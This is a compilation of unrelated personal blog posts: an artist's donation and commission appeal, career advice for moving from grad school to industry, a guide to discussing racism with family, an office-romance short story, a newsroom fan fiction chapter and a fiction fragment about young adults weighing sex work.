#now i need to email HR and be like 'hello? can i get some information?'
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My situation
Hello friends and followers!
I need your help. I will be opening commissions but leaving links to both paypal and ko-fi for anything anyone can spare.
I understand it is very hard to help right now, it is possibly one of the toughest times some of us have faced. It certainly is for me. I work in retail during a global pandemic like so many others right now. Unfortunately this fact has taken a seriously toll on both my mental and physical health. While I have not (yet) caught covid, my depression and anxiety is at its peak and it is causing undue stress on my body to be in a constant state of panic attacks.
Stores say they’re prepared for the holidays, but as far as I have witnessed, my store has taken zero extra precautions while also promoting holiday sales, and the store hours have gone back to normal while the store has been crowded every day for the past couple of weeks. Cases are rising, the cold weather will make it easier to spread...and I have an at risk family member at home that I am terrified of giving this thing to. I am at the end of my rope mentally. I am exhausted physically. (I would like to add when I brought up my concerns to my HR rep while he was understanding, he literally lied to my face about the measures and steps my company was taking because no one in our store enforces a Single Measure, so even if it's company wide policy, it's ineffective if it's not being followed literally at all.)
I have opted to take a leave of absence from work to at least cut off my chances temporarily from getting anything right after Thanksgiving, but ideally I’d like to be able to quit my job and find something that doesn’t involve exposing myself to an inconsiderate public and an uncaring corporate workplace.
So, I am asking for donations for the time being. If you can spare anything, I’d be extremely grateful. Donations under $21 will not have a reward in place, but donations $21 can be payments for sketch head shot commissions.
You can donate through my ko-fi, or through paypal.
Email me directly (jessie.islas at gmail) to give me information on your request (with the name you donated with and “commission” in the subject header). All I require from you will be a visual reference of your character. You can also choose a background color, otherwise I will go with white, or some color that seems to complement your character. Points 1, 5, and 7 of my TOS apply to these commissions. TOS is agreed upon at time of payment.
If you’re having a problem viewing the TOS link, please let me know in your email and I’ll send you a copy.
Please keep in mind these are SKETCH commissions. They will not be fully rendered, but painted in a more loose style. You will still receive the full file size once the image is completed. Turn around can be anywhere from 3 days to a week, depending on my current work schedule.
I cannot currently offer anything more complicated than these because on top of everything else, my computer is reaching its final destination. Part of the money I make/that gets donated would help to upgrade my current laptop so that it runs like new again and extends its life for at least 1-2 more years. If you are interested in a more detailed commission, the best I can do is accept payment and put you on a waitlist for when my computer is in better working condition.
If you cannot afford a commission, any amount helps, truly. Please consider donating to the links above.
If that is also not possible for you, please consider sharing this post. It really means a lot to me.
My ultimate goal is around $3000. I realize that is a lot of money (at least it is to me?) but it would help me to be financially stable for the next month or so (not much more than that because I live in CA and living costs are, as always, astronomical) and also help me fix my computer so I can put more work into my art. I have more plans, regarding patreon as well as comics/zines I have been wanting to make for years now.
If I can make enough to help me last a month without working retail, I can start giving you guys more updates on what plans I have for my art, and ways in which you can help me sustain some kind of (partial) living off of it.
Also, to be clear, I will never be a pay-only artist. I know some artists do move in that direction and they have their reasons, but I’ve been on the side of things where I cannot afford it, so I understand the distress of not being able to access art all of a sudden because you have no money. That is not my intention at all. I just want to be able to live with peace of mind and also make art while doing it.
Thank you so much for reading this, thank you in advance for any help you can offer. I’ll be updating this soon with a link that will help explain what my plans are moving forward if I am able to get the help I need. Thank you all again.
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Hi Julia! I will be graduating from grad school next summer and I've been accepted to a R&D position in the pharmaceutical industry, which was my dream so I'm very excited! As someone who also made the transition from academia to industry, do you have any tips or advice on how to handle the different expectations? Thank you!
Hello Rose! Congratulations!! That’s so wonderful to hear. You’ve worked hard for this!
I’m very much still in the process of learning to navigate the transition myself but I will tell you all that I’ve learned so far. I’ve found that grad school has actually prepared me quite well for industry because of all the translatable skills I picked up (and even from college and other life experiences). So if you find this list is filled with some familiar things, then that’s a very good sign!
Have a method to deal with feeling overwhelmed. Going from academia to industry can feel like moving from a small rural town where you knew everybody to a big bustling loud crowded city. Oftentimes it will be sensory and information overload, and it’s easy to feel anxious most of the time. It’s best to have in your emotional tool-kit a few plans on how to navigate challenges like figuring out unfamiliar protocols and tasks, what to do if you make a mistake, how to decompress after an anxiety-inducing phone call or presentation, etc.
I recommend not forming any emotional attachment to your projects, because unlike grad school where we worked on basically one big thing for many years, projects can come and go very quickly and seemingly unexpectedly in industry. And most of the time these decisions are not 100% up to us in R&D, but the business side of things, because if a project isn’t meeting a company goal (whether financial or otherwise), it’ll be put on hold or cut. (But that’s not to say R&D doesn’t have input, but we don’t often get the last say).
Know your go-to person or persons for questions, from your manager and fellow coworkers for project-related questions to contacts in IT, HR, etc. And be protective of your right to ask questions and receive answers. This is part of your job, and this is part of their job as well. Everything that comes out of your department is a team-effort, after all. And time is money (and company goals fulfilled)--always remember that. And that includes your time as well, so taking 5 min to ask a question and getting a straight-forward answer is much better than spending 5 hours confused and doing something wrong! Not a day goes by where I don’t ask a bunch of questions (and most of them are: what does this abbreviation stand for? Because in industry, apparently if it can be abbreviated, it will be.)
Set clear expectations and goals with your manager, and check in with them regularly. Project goals are much more concrete and common in industry where project timelines (sometimes set by the business side) guide every decision, vs academia where decisions can be more experimental and free-flowing. Finding out your pace in this timeline and delivering what your manager expects is a two-way street where communication is key. Whenever I get a new project, I like to tell my manager “let’s touch base on my progress tomorrow” so we can a) catch any of my mistakes early, b) estimate when I’ll be done/ready for the next step, and based on that, c) see if we need to have more help.
Follow what your fellow coworkers do in terms of small workplace-culture-things, like email etiquette (eg. reply to one vs reply all), when to start and end each work-day, how to respond to manager requests (my team likes each of us to reply with “ok will do!”), the best way to communicate (we prefer instant messaging via slack), etc.
Stay organized and prepared. Time is money in industry, and staying organized and on top of things saves time (and thus money). I’ve also found that it’s always better (and expected) to be able to provide an immediate answer to questions during meetings, rather than “I’ll get back to you” (unless it really is something that’ll take a while to figure out). So have your notes ready and well-organized.
Related, document everything, or at least know the reason behind your decisions. Mostly because you may be working in a very large and interdisciplinary team (think sales, operations, marketing, etc) and they may not have the science-know-how to understand some R&D choices. Also higher-ups may not be able to remember every minute detail of a project, so it’s good to have all that on hand. The other day my manager actually asked me to remind her of the decisions we made during a meeting on one of her projects. Good thing I had taken notes!
Take the opportunity to learn who everyone is and what they do at the company that you meet. Company directories and LinkedIn profiles are great for this.
Pay attention to the paperwork. Companies run on rules and regulations and contracts and legal this and that. Our choices can have more consequences now than when we were in school. I usually like to get 2nd and 3rd opinions on things (either from coworkers or from a more experienced friend or family member) that I’m not 100% sure on.
Be prepared to have more trust placed in you and your decisions. Not really a huge piece of advice, but more like, hey, head’s up! Because one thing that was jarring for me as someone coming straight from grad school where our self-esteem was repeatedly pummeled down was how much more respected I am now. My feedback and project decisions are actually welcomed, trusted, and acted upon. This is in part to my degree, my experience, and the culture of my team, but wow, I haven’t felt this valued in such long time.
Related to that last point, professionalism counts more now. Academia offers a bit more freedom in terms of how an individual dresses and acts, but company environments put more emphasis and expectations in those things (especially for customer/client-facing positions). Depending on your company, you may have a dress-code and be held to a certain level of professional etiquette.
And lastly, take it slow, and trust that effort will never betray you. The learning curve can also be pretty steep--my coworker tells me that it’s at least 6 months for my position. I like to finish each work day by reflecting on something I now know that I didn’t when I woke up that morning--it really helps keep my self-esteem up and the feelings of imposter syndrome down.
That’s all I got for now! My inbox and chat are always open if you have any other follow-up questions. Congrats again on graduating and your new position!!
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How to Talk to your Ignorant Family about Racism!
Hello non-black friends with non-black families! Let's talk about talking.
It is 2020, and racial tension is high. It feels like the US is shaking out its carpets and centuries of swept-under filth is flying absolutely everywhere. Its a total mess, and its too late to just lay the carpets down again. We have to choose to move forward, and that means having hard conversations.
Dear non-black people:
Talking to your relatives is hard and sometimes scary, but as a non-black person, you have a responsibility to try. We all live in this society together, and that means that we have a responsibility to each other: to protect each other, to uplift each other, and to suppport each other. So when our own family members are ignorant about important issues and we have the power to educate them, we should. Its important to be mindful of how we approach these tricky conversations, and remember that if you want to teach your family, you must act like a teacher, which requires understanding and patience.
There will be two types of conversations:
With those who are uninformed
With those who are bigoted
The discussion will not be easy (they call this work for a reason) but it is doable. Every person is vital! We need them to understand. We can't just wait and hope that the racist people will go away. We need them, and with the right strategy, patience, and respect, we can teach them.
Those who are Uninformed
All you need to do is inform them! But there are different ways of doing this, and some ways are more effective than others.
Least Effective:
Tell them to educate themself.
This approach is confrontational and doesn't give your conversation partner any direction. For someone who truly doesn't know about the topic, they will have no idea where to start — so they won't.
Sort of effective:
Give them a read & watch list and tell them to do it on their own.
This is better because you are giving them clear direction, but doesn't offer them any real incentive or support. They know what to do, but the task of learning by oneself is daunting.
THE BEST!!
Collect materials, sit down with them, and learn together.
Human-to-human interaction always works best. Read the articles together so they have the opportunity to ask questions. Watch the documentaries together so you can both learn at the same time. Explain things in your own words (if you're able) and show them compassion and understanding.
Those who are Bigoted
Bigoted means "resistant to new ideas" and that makes these conversations hard, but bigoted people are not lost causes! Even your bigoted and racist family members have the potential to change, and they deserve our help, not our hate.
The first step in communiticating is to try and understand where they are coming from. How do they see the world, and what is their perspective? We need to understand their mindset in order to communicate effectively.
For most people with bigoted attitudes, it all comes down to a lack of empathy. When a self-centered person isn't affected by a problem, they have trouble understanding why anyone else would care about it. They have trouble imagining being hurt by it, and they have trouble putting themselves in another's shoes. We need to talk to them about these concepts in ways they can understand, and frame the ideas with language that they identify with.
Note: Lacking empathy isn't a bad thing! Some people are good at empathy and some people aren't, thats just one of the many ways that people vary. However, just because someone isn't good at empathy doesn't mean they can't learn compassion, and that is where we need to help them grow.
Clarifying word choice
Words have different meanings for different people. We all have our own word associations that are formed by the people we talk to and the media we consume. This means we have to be VERY clear and define what we say.
Why? Your conversation partner has an idea in their head of what (for example) "Privilege" means. You cannot change that meaning for them. When you say "Privilege," their ears close. We must talk about all of these vital concepts, but we cannot use words that will not be heard.
It may be uncomfortable to let go of the words you identify with, but you are the teacher, and you must get level with your student. Take these words, explain them, and be as clear as possible.
Put it into practice
To avoid misconceptions, we need to avoid and clarify certain hot-button phrases.
Take, for example, the word Immigrant:
When I hear "Immigrant" the first thing that comes to mind is someone who is:
• brave
• good intentioned
• deserving of support
When Racist Uncle Gary hears the word "Immigrant" he imagines someone who is:
• violent and criminal
• smuggling drugs
• hates americans
Imagine you just said "We need to support immigrants" and Racist Uncle Gary becomes furious. You might think he's a horrible person who doesn't want to support good intentioned relocators, but from Gary's perspective, you are suggesting that we should be supporting murderous drug-runners.
When you realize this miscommunication, Racist Uncle Gary's anger makes way more sense. By understanding where he is coming from, you can clarify your statement by instead saying, "We need to support good intentioned immigrants who are here to start a new life."
While Uncle Gary may still believe that lots of immigrants are evil caricatures, he now understands how you see immigrants and the intention of your statement. Baby steps!
A couple important ones:
Instead of — White Privilege
Try saying — Your life has been hard, but the color of your skin didn't make it harder.
Instead of — Black lives matter
Try saying — Everyone's life must be protected, and right now Black people are in danger.
Instead of — White fragility
Try saying — I know this might feel like a personal attack to you, but its important to step outside ourselves and see things objectively.
These are extremely important phrases that are key to understanding racism, so it feels wrong to replace them with gentler language. It feels like we are catering too much to white fragility. However, the meaning of the phrases are more important than the phrases themselves. We cannot say words that will not be heard, no matter how important those words are.
Respect is key
You need to show that you respect your conversation partner in order for them to respect you. Don't tell them that they are wrong, even if you know they are. You need to show that you respect their ideas in order for them to listen to yours.
For example, if you think you might be able to bring a word like Privilege into the conversation after describing it, don't say, "That is what Privilege means," instead say, "That is what people mean when they say Privilege." By using this wording, you are explaining other people's intentions, rather than telling your conversation partner that they are using the word incorrectly.
These conversations may be short
The person you're talking to might turn away and not want to continue. They might walk out of the room, they might look like they don't care. That's ok, because they still heard you.
Don't become angry, don't follow them, don't demand to keep talking when they've shown they are done. You have to be the bigger person here, because you are trying to teach. It is hard and it may be dissatisfying, but as long as you are being respectful and using clear language, you will slowly but surely get through their shell.
Good luck out there!
Discussion with your family is worthwhile, and YOU CAN DO IT! Humans are powerful and capable of change, even though we can be stubborn about it. No matter what, believe in your family's ability to learn and grow. Be kind and be proud of them, and you will do a wonderful job.
As always, feel free to send me a message on instagram or an email if you have further questions or are looking for specific advice. Stay strong!
— Milo
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8.28.2018
Jenn Demorris is a goddess. She has the entire office wrapped around her soft, auburn locks; her perfume acting as a sort of siren’s song. Jaws drop at the sight while hearts stop at the scent. Everyone stares as she enters the conference room. She may act unaware, but this is exactly how she wants it.
“Where are the edits from PR?” she inquires toward some generic assistant.
“Right here, Miss,” he stammers. Silence diffuses across the room as she looks over the edits. There’s no standing rule against speaking while she focuses, but no one wants to take the chance. Seconds burn on, she does not break her gaze; all the while towering over the ensemble of office chairs.
“They call this an edit? Hm…” She sets the documents aside and takes her seat at the head of the table. She crosses her legs, which are kept muscular through pure intimidation.
“Could I trouble someone for a water?” Another generic assistant shuffles out to assure her hydration. Hour-long moments go by, no one is quite sure what to say. She continues,
“What do we think of extending our promotion from last month through the end of the year? Some may think it’s wild and foolish, but - if anything - it’s been wildly and foolishly successful, so who cares what they think?”
Jack wasn’t sure who they were, but he certainly wasn’t going to tell her that. In fact, Jack wasn’t sure of a lot of things at this point. Was there an email he missed informing him of what the hell was going on? How many questions was she going to ask before someone would speak up? Were these questions rhetorical? Did she only speak in questions?
“What’s the time?”
Yep, she definitely only speaks in questions. Jack was sure of it now. This whole company wasn’t even a business, just a strategy game where employees played to see how many questions this woman would ask without being answered before firing their asses. Why did he even start working here in the first place? Sure, his college buddy Joe hooked him up with the job right when he needed one, but did he even want to be here? He has a master’s degree in Humanities. He always saw himself ending up as a professor, owning a bookshop, or manning a non-profit. He’d live somewhere like Seattle or Portland and go biking on the weekends. Life would have it, though, that he needed job security, so he traded weekends for never-ending weeks. Sure, he could have fulfilled his dreams, but he liked the idea of having a 401(k) instead of having 401k in debt.
“Isn’t anyone going to give me the time?”
Great, another question, he snarkily thought. Wide eyes, sweaty foreheads, and all, everyone turned to him. He’d apparently been elected as the spokesperson of this merry band. He barely consults his watch. “Maybe about 9:50, Miss Demorris…?”
“Hm.” Finally, a damn statement. She glances away for a moment, but her cunning eyes find their way back to his. She studies his face a moment and - much to Jack’s dismay - returns with a question. “Your name?”
“Jack Tanner,” he sighs. This was probably accompanied by an eye roll, but no one could be certain… He didn’t mean to have such a rotten attitude, but it seemed to come with the job description. Jenn upgrades her stare from inquisitive to relentless, almost as if planning a way to dismantle his well-being. She certainly isn’t evil - she’s actually a great vice-president of marketing and gives amazing gifts at the company Christmas party, but she has no regard for human worth the other three-hundred and sixty four days of hell.
Jack never could quite pinpoint why he hated working here and working for her so much. Maybe it’s the way she flounces about the office or can’t be bothered to make direct eye-contact with someone in a God-forsaken cubicle... Regardless, he’s had it. Jenn finally reaches her moment of divine inspiration and speaks to him.
“I’m not sure how they did things at the Panera Bread you miraculously crawled out of, but when a woman of stature asks for the time they’re sure as hell not asking for an approximation or a guess sprinkled with sharp ignorance.” Everyone hastily makes eye-contact with the floor so as to not be caught in the line of fire. The color immediately washes away from Jack’s cheeks.
“So,” Jenn continues, “Let’s try that again, shall we?” Her questions were beginning to sound more and more like unadulterated statements. She rises from her chair to her full height in a contained rage. “What’s the time?”
Jack knew this could go one of two ways. He could actually look at his wrist watch, his phone, and his computer and give the woman the most accurate time possible, or he could be a smart ass.
“My apologies, it’s exactly 9:51. Did they not teach you how to tell time in the underworld?” He chose to be an accurate smart ass. One of the generic assistants from before - “waterboy” as he’d eventually be called - returned with a Dixie cup with water for the woman.
“I couldn’t find any bottled water or even a glass of any sort, so I hope this is-”
“It’s fine,” Jenn failed to convince. Waterboy tried to hand her the cup, but her focus couldn’t be broken. She was carefully aiming, ready and willing to shoot something back at Jack. She sat, folded her hands on the lip of the table, and waited. Everyone caught the drift and slowly fled the room, but Waterboy needed one last lick of clarity.
“Should I take the water with me, or-” She shoots him a look that would have denuclearized North Korea and all its friends. He swam away.
Jenn couldn’t find words. No one, and I mean no one, had ever spoken to her that way; not at Waterwood Prep, not at Yale, not even when she worked at Chicago Starbucks for an hour in the early 2000’s, and she can’t get enough. She speaks,
“Right now, I don’t know if I want to kiss you or shove you off of a bridge?”
“Can I pick?” Jack was terrified, but loves every minute of it. The tension between the two reaches its peak. The plan has been set; now for the follow-through.
Jenn rises once again with the grace of a swan and passion of a tiger. She sits on the table next to him, gets as close as she could without giving HR something to complain about, and says in a hot, heavy whisper,
“What’s the time?” Jack is at another crossroads. He could submit to this despicable, yet sexy woman and give her the time without further commentary, or he could take matters into his own hands. Jack stands as he straightened his tie, knowing exactly what needs to be done.
“9:53, Miss Demorris,” he humbly declares. Neither know exactly who initiated the actions that followed, but their lips unite for an agreeably furious moment. This is everything she’d ever wanted and more than he’d ever deserved. The ball still in his court, he breaks the interaction and says with full satisfaction, “I quit.” He gathers his things and leaves without a smooch or a smile, leaving Jenn Demorris desirably speechless.
He walks briskly, carrying himself with a smug grin. He finds himself at one final crossroad. He should leave it, let it go, find a new job, and assume the life he’d always wanted, but he knows he won’t. Against his better judgement, he opens his phone and writes a message to the godforsaken woman.
“Want more? 343 Saint Richard Drive, Apartment 33B. Come when you can.” She responds in seconds with a simple, but loaded, “See you then.” He snickers as he dials a phone number.
“Hello,” asks the voice on the other line.
“Phase two has begun,“ Jack declares. He ends the call, throws the phone in the nearest trash bin, and walks a little fast.
She’ll never know what hit her, he cannives. Operation Demolish Demorris has officially commenced.
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Airplanes, Coffee and Deadlines 1/?
Felicity begins working at a national newspaper where she has always dreamed of working. On her first day, she meets a very interesting photojournalist. The two will eventually work together but sparks fly immediately. Also available on AO3.
When Felicity saw the first paper airplane land on her desk she thought it must be a mistake. This was her first day at the Starling Globe, she knew no one so there was no reason for someone to be flying airplanes toward her, right?
Besides, this was a serious place of work. A national newspaper. Someone must have brought their kid to work. Felicity slowly rose in her cubicle looking for the little person behind the planes. She was too short to see over her wall so she walked out looking down for a child, only to walk into a fully grown man. She looked up feeling her cheeks reddening, as she came face to face with one of the most attractive men, she’d ever met in real life. His hair, his stubble and perfect blue eyes. “Uhm, sorry, I didn’t see you.”
“Really, I’m a pretty tall guy, kind of hard to miss.” He smiled, held out his hand. “Oliver Queen.” He could tell he’d made the new girl nervous, which was not his intent.
“Felicity Smoak.” She quickly shook his hand. “Did you see a kid? I think I have his paper airplane.” She held up the device.
“That’s mine.” Oliver smiled proudly.
“Oh.” Felicity knew her mouth formed the “O” she really was surprised. “Do you want it back?” She held out the plane tentatively. Now that she knew where it had come from she kind of wanted to keep it.
“Nope,” Oliver waved his hand. “You can keep it. I made it for you. You know, as kind of a welcome to the office kind of thing.”
Felicity blushed. “Thank you. I’m excited to be here. I’ve always read this paper, it brought national and international news to my small hometown. I wanted to know what was happening everywhere. I am so grateful to be part of it all now.”
“Hold onto that. We need more people who think like you here. What we do important, to me it’s more than a job. People need to be informed. An informed public supports the very democracy we have. Sorry, getting off my soapbox now.” Oliver again worried he may gone too far. Don’t freak out the new girl, he thought.
“I completely agree, Oliver. I’m so glad I met you. I am definitely in the right place.” Felicity beamed. This guy was not only super hot but he held the same beliefs. She was going to have to pinch herself soon but she really didn’t want to wake up.
“So, what are you up to today?” Oliver tried to sneak a peek into her very empty cubicle.
“Orientation with Dinah Drake from HR. She had a meeting, so she left me to set my email and fill out the customary forms. She should be here soon to show me around, give me the lay of the land. I don’t mean lay...I mean….tell me all the rules and such.” Felicity just couldn’t stop herself from tripping over her own tongue!
“Sounds great, my desk is right here on the opposite side of yours so pop up if you need anything.” Oliver smiled, headed back to his computer. He was working on some photos he took that would be featured in the weekend edition of the paper.
Dinah arrived as Oliver walked away. “I see you met Oliver Queen. He is one of our best photojournalists. Award-winning, even.”
“Oh,” now that Dinah pointed it out, she had heard of him. Oops. It was like her brain had stopped processing for a moment, just stuck in the moment with him.
~~~~~
“Go grab lunch, I’ll meet you back at your desk in time for the two o’clock planning meeting.” Dinah left Felicity at her desk.
Felicity loved it here. She loved the busy newsroom with the ringing phones, people typing on their keyboards and the quiet din of television news coming from TVs all over the room. The news lived and breathed here and she was now part of it all.
Felicity unlocked her purse from her desk drawer, she needed to get some lunch. She hoped there was a place close by. As she left her cubicle she was happy to see Oliver at his desk. She tapped lightly on his desk so he’d remove his headphones, she heard some 90s grunge as he took them off. “Hey, just wondering if you know if there is anywhere close by to grab food? Nothing fancy, just coffee, soup or sandwich place?”
Oliver pressed stop on his music, before minimizing his windows. “No place nearby, but I’m about to head out if you want to come with me. I know the best coffee place.”
“Sold. You had me at coffee.” Felicity smiled.
Oliver grabbed his bag and they began heading for the door. “Oliver!” They both turned when they heard someone calling his name.
Oliver’s face broke into a smile. “Digg, so nice to see you. I didn’t know you were back.”
“Flew in last night, needed to take care of some stuff here before a take a few days off. Are you heading out?” John Diggle smiled, looking rather pointedly at Felicity.
“We are.” Oliver looked to Felicity, “Felicity Smoak this is John Diggle, one of our best foreign correspondents, John this is Felicity’s first day.”
John shook Felicity’s hand. “Have you been assigned a beat yet? Maybe we will be working together.”
Felicity chuckled. “It would be honour to work with you Mr. Diggle. I’m a big fan of your work. The stories you did from Afghanistan were outstanding and the photos. I especially loved how you focus on the issues facing the women there. Thank you so much for that. I and so many others needed to know what was happening.”
“Ooh, I like you and I wish I take all the credit for that series but that belongs with the guy behind you. He did all the background getting us sources and taking pictures, I just came in at the last minute and wrote it up. So, as much as it pains me to not be praised - it’s Oliver that deserves all the credit.” John nodded to his friend.
When Felicity turned to give credit where credit was due, she faced a blushing Oliver. It made her smile. She cleared her throat softly, “thank you so much, Oliver.”
Oliver nodded. He did not handle compliments well, especially those he knew were sincere. “Anyway, we are on our way out to grab lunch. Do you need anything? Want to come?”
“I don’t need anything by Lyla would like you to drop by,” Digg turned to Felicity, “she’s our foreign assignment editor, she tells us all where to go, plus she’s my eight-month pregnant wife.” John turned to Oliver. “I would suggest you bring her chocolate to avoid getting sent somewhere cold.”
“I will do better than that. I’ll bring her British chocolate which I need to grab from my desk,” Oliver hurried and forth to his desk. “And I’ll bring Felicity.”
“Ooh, she’s going to like you more than me,” Digg slapped Oliver on the shoulder before turning to look at Felicity. “My wife loves meeting new journalists, she thinks you might know she things hasn’t learned and she greatly appreciates new perspectives.”
“Oh, I look forward to meeting her. But I might not have time today, I need to be back for two.” Felicity felt disappointed, Lyla sounded interesting and she was the foreign assignment editor a field of journalism she was very much interested.
“Oh, we have time. Plus, I’m in your two o’clock meeting. Let’s go, we’ll pick up lunch, bring it to Lyla’s.” Oliver heading for the door.
Felicity waved at Digg, rushing to catch up with Oliver.
~~~~~
“Felicity, it was an absolute delight to meet you! Promise, you will visit again. I’m stuck here until the baby is born but I look forward to seeing you at work. John will be taking the second half of the leave. We split it with our first son, it works for us.” Lyla smiled.
Felicity walked out to the elevator with Oliver. “She seems great.”
“She’s the best. Really cares about her team. It means a lot when you are out in the field to know there is someone at home you can count on. Maybe one day you will experience that first hand.” The elevator dinged as it arrived.
“It would be a dream come true. But for now, I’m just happy to be here. I’ll take whatever assignment they give me.” As the day went on, Felicity felt more confident than ever that this was where she was meant to be.
~~~~~
They made it back just in time for the two o’clock meeting. She met Dinah at her desk. Felicity felt a little awkward, she hoped to be early to make a good impression.
The meeting was led by senior assignment editor Walter Steele. Felicity had seen his photo, she knew he was regarded with respect but this was her first time seeing him in person. He commanded the room. And not just because he had a cool British accent.
“So, before we go around the room. Any new business?” Walter looked around the room.
As this was Felicity’s first meeting, she thought she’d be observing, figure out her role.
“Yes, Walter,” Oliver stood. “We have a new staff journalist starting today. Everyone, this is Felicity Smoak”
Felicity blushed widely. She never liked being the focus of attention. She stood nodded. “Thanks for having me.”
“Welcome to our team, Ms. Smoak. I look forward to working with you.” Walter Steele nodded in her direction.
Walter Steele talked to her. Felicity was totally having a fangirl moment. Felicity looked up to see Oliver smiling at her. It was like he got how awesome this was.
Felicity listened as the assignment editors, including Lyla on the phone, read out their assignments and who the journalist was on the beat. She heard Oliver being assigned to take photos of local protest regarding high rents. He got up, gave her a slight wave, heading out to cover the story.
When the meeting ended the local assignment editor, Quentin Lance, came over to here. “Hello, Ms. Smoak, you have been assigned to my team. Do you have a moment to talk?”
“Sure!, Mr. Lance.” Felicity shook his hand.
“Quentin will be fine. If you have a moment maybe we can talk about your past experience and what types of stories you are interested in. I can’t promise that you will always get those stories but it’s good for me to know.”
“Of course. Right now I’m grateful for the opportunity, happy to take whatever you offer. As for my interests, they are wide-ranging. I grew interested in international news, especially those that focused on human rights. My other interests include women’s rights, technology and human interest.”
“That’s great. Tomorrow there’s a women’s conference over at the convention centre. I’d like you to go. Hopefully, you can find a story and not just a puff piece.” Quentin gave her a serious look.
Felicity nodded. “I’m on it.”
“Great. Your name will be at the door, you can pick up your pass there. Email me the moment you have something.” Quentin nodded before walking away.
Felicity had to stop herself from squeeing. Her first real assignment. She was going to knock’em dead.
~~~~~
Felicity did knock’em dead. She ended up exposing that the male panellists at the Women’s Conference were being paid more than the female. That wouldn’t be happening again.
Felicity got an email from Quentin asking to see her in his office. She made her way there hoping he was pleased with her. She tapped lightly on the half-open glass door.
“Aww, Ms. Smoak. Thanks for coming. Take a seat.” Quentin gestured to the seat across from him.
“You can call me Felicity,” she took a seat.
“Well done, Felicity. Lyla said she saw the fire in you.” Quentin smiled. “How is your story coming along today?”
“Good, as you know I’m covering the movie being shot on the residential street nearby. I got quotes from the crew and an actor about shooting in the city, I just have to add the finishing touches, quotes from residents and I will file.” Felicity crossed and uncrossed her legs, unsure what her boss was thinking.
“Sounds good.” Quentin gave her a gruff smile. “Alright, I guess I’ll see you at the morning meeting.”
Felicity stood to leave noticing for the first time the basset hound in the bed next to Quentin’s desk. “You have a dog! How wonderful.”
“Felicity, meet Deadline.” Quentin nodded at the dog he watched him. “Deadline, this is Felicity.”
Deadline turned to face Felicity. “Nice to meet you Deadline. I didn’t realize this was a dog-friendly office.”
“As long as the dogs don’t cause trouble they are welcome here. Walter read they create a calming environment, decrease the stress that kind of thing….do you have a dog?” Quentin pet the top of Deadline’s head.
“No, but I’ve always wanted one.” Leaned down to pet Deadline’s back.
“Well, I don’t know if they decrease stress, but Deadline is always there for me. You should think about it.”
“I will. Knowing it’s a dog-friendly office definitely helps in my decision making.” Felicity had a smile on her face as she left.
Felicity had a lot to think about as she headed back to her desk - a dog, how much she was enjoying her new job and whether or not it was a good idea that she a crush on a dashing photojournalist.
Thanks for reading! I so hope you all enjoyed the first chapter! A lot of this first chapter was autobiographical from my experience working at a newspaper. Next chapter coming soon! I’m going to tag some people. Please let me know if you would like to be tagged or untagged.
@mindramblingsfics @memcjo @mel-loves-all @wherethereissmoak @green-arrows-of-karamel @spaztronautwriter @wrldtravler @tdgal1 @vaelisamaza @oliverfel4 @lucyyh @swordandarrow @smoaking-greenarrow @it-was-a-red-heeler @miriam1779 @coal000 @blondeeoneexox @laurabelle2930 @allimariexf @onceuponarrow @swordandarrow @msbeccieboo @tangled23works @icannotbelieveiamhere @1-crazy-dreamer @stephswims
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PART 3
WEDNESDAY MORNING
While Damon was online looking for odd jobs he noticed an add for dancers needed. He’s had a stripper license since he was 19 and used this as a means for extra money when not deployed. He sent this to Oliver in an email prior to calling him on his way to the pharmacy.
“Morning”
“Check out the email”
As he pulled out his iPad, he saw the email
“What the fuck is this?”
“Strippin....you already do way more, plus a bachelorette party would get you a killing. I used to dance at a few of them when I was home”
“Got anything else?”
“Banquets, I know a lot of companies. I can send you a list of catering companies you could do work for. What you got going on right now?”
“Laying on the couch, going into the office”
[Really? That’s the best you got? What part of “I want out of this life do you not understand?]
While he wasn’t thrilled about it, he took some time to think about t and he realized that bachelorette parties are for the entertainment value and he did keep his body in shape. However, didn’t want his current situation to mirror that of “The Players Club”.
Oliver got up from the couch to fix himself an omelette while continuing to talk. “Yo, I got you on speaker phone, doing some stuff in the kitchen”
“Man, remember when we were young and we would see vacationers out here, we vowed that one day it would be us taking trips with our families?”
“I do, and when I look at where I’m at, I think to myself “What the actual fuck?”
[We were lied to. In 2008, when we were in high school, we were told to go to college. That it was the ticket to a successful life. What they didn’t tell us is that the economy would tank. They didn’t go cover any alternatives. They never went over the cost of living and the fact that people here are working three jobs. I should have seen this with my own parents. Dad worked for the state and then worked as a janitor in the evenings. Mom still works as a financial aid officer at a state college. The preparation sucked. What the fuck am I gonna use creative writing for? Why was that in school?]
He cut the conversation short to eat his breakfast and get a shower in before work. Afterwards, he ironed a pair of pants and a golf shirt and heaved to the office where the direction informed him and Claudia:
“I have a project for the two of you. Our event is coming up at the mall. You two are going to be drawing outlines to these animal pieces on the construction poet right there. We’re expecting about 200 kids”
“No problem” Oliver said looking at the green construction paper in front of him
“It’ll be a breeze” Claudia assured him as she took a pair of scissors and the elephant trunk and demonstrated.
“So it’s like build a bear type of think but with other animals but they’re decorating their bags with them. That’s cute”
“Yeah, so are you gonna go to the career fair next week”
“The one at the convention center?”
“Yea, I heard there’s going to be several companies there.”
[Resume-FEMA, fucking, and non-profit]
“I plan on it. Do you know if any government agencies are gonna be there? I couldn’t find a roster anywhere”
“Not sure”
They continued working while talking about goals and aspirations when he noticed an alert on her phone. Knowing the conference due to getting the same alert an hour earlier, he asked her how she knew about it? Somewhat embarrassed, she snapped “What are you doing looking at my phone?!”
“I merely glanced over!” he exclaimed before taking her aside and confessing to being involved in the worlds oldest profession “I hate it. One would think attractive people and pleasure but there’s no real live and frankly it feels like a modern version of slavery. I can’t get a decent date to save my life”
After a moment of silence, she admitted that she was a phone sex operator and that she worked in evenings. “I have a friend who also is in high class escorting”
“High class?”
“Let’s talk about it later? How about we meet for a drink after work? We need to get a bit more of this done.”
Meanwhile, Damon was scouting on the web when his eye caught the attention of a webcam modeling website.
He though about his current life and how he’d mange to file his taxes. He normally got a 1090 at the end of the year. He also though about the repercussions of this and the thought that the clientele could be from his local area. He had a flashback to being deployed in Germany where he and some buds where in a night club, partying surrounded by beautiful women. “We are like royalty!” He thought about a conversation he had with his peer about wanting to serve for eight years and then retire and start college. Little did he know that half way though that time frame that he’d suffer a back injury along w/ PTSD from witnessing the death of a friend at the hands of a grenade.
He applied for work with multiple agencies and thought about how he could sporadically work vs checking in daily. With webcam modeling he could set his own schedule. With that in mind he decided to text Oliver.
“Who was that?”
“My friend Damon”
“So about how long have you with with this company?”
“About six months. I’m trying to start grad school”
